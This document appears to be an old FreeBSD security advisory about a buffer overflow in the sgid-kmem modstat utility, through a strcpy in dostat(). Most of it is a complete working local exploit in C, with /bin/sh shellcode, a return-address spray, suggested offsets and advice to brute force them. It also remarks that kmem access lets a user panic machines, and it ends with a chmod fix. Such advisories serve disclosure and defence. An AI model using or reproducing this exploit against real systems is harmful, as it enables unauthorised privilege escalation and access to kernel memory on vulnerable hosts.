COMMAND
modstat
SYSTEMS AFFECTED
Systems with the *BSD distribution of modstat sgid kmem (FreeBSD
2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1).
PROBLEM
Modstat is sgid kmem which is really handy to become if you feel
like looking through /dev/mem and /dev/kmem. Like just about
everything else under the sun it has a buffer overflow problem.
The problem exists in the dostat() routine where an arbitrary
sized string is shoved into sbuf.name through a strcpy().
It is also possible to panic many systems by reading through
all memory. With memory mapped architectures you will set
various flags for having read values and touched registers -
since the system is expecting these registers to be in certain
states, tripping them to other states can cause bizarre results
can occur. A quick example is to md5 through your interface to
memory and watch the confusion that can occur in certain systems
;-) So yes, in many cases being group kmem will let you shutdown
a machine in a roundabout way... even with just Read-Only
abilities.
********************************************************************
* modstat buffer overflow code - mudge@l0pht.com *
* 8/11/96 *
* Done initially on FreeBSD as my BSDI box is down right now... *
* sigh. It should work on any x86 arch with the standard *BSD *
* implementation as they all use the same opcodes and operands. *
* Go grab the splitvt code if you want this to work on Linux. *
* *
* try with offsets of -48, 7, 271, 326 with the way this is curr. *
* setup. If these fail, brute force it <grin>. *
* *
* Many thanks to bitwrior for initially finding the code problem *
* in modstat and pointing it out to me - It's always nice when *
* someone hands you a bone to gnaw on without wanting *
* anything in particular out of it [this I know 'cause he has no *
* problems writing this sort of thing on his own]. *
*******************************************************************/
#include <stdio.h>
#include <stdlib.h>
long get_esp(void)
{
__asm__("movl %esp, %eax\n");
}
main(int argc, char **argv)
{
int i, j, offset;
char *bar, *foo;
unsigned long *esp_plus = NULL;
char mach_codes[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
if (argc == 2)
offset = atoi(argv[1]);
else {
fprintf(stderr, "Usage: %s offset\n", argv[0]);
exit(1);
}
bar = malloc(4096);
if (!bar){
printf("failed to malloc memory\n");
exit(1);
}
foo = bar; /* copy of original ptr */
esp_plus = (long *)bar;
for(i=0; i<24; i++)
*(esp_plus++) = (get_esp() + offset);
printf("Using offset (0x%x)\n", (get_esp() + offset));
bar = (char *)esp_plus;
for(j=0; j<strlen(mach_codes); j++)
*(bar++) = mach_codes[j];
*bar = 0;
execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
}
SOLUTION
Modstat does not need to be setuid kmem. It is thus sufficient to
do the following:
su
cd /usr/bin
chmod 555 modstat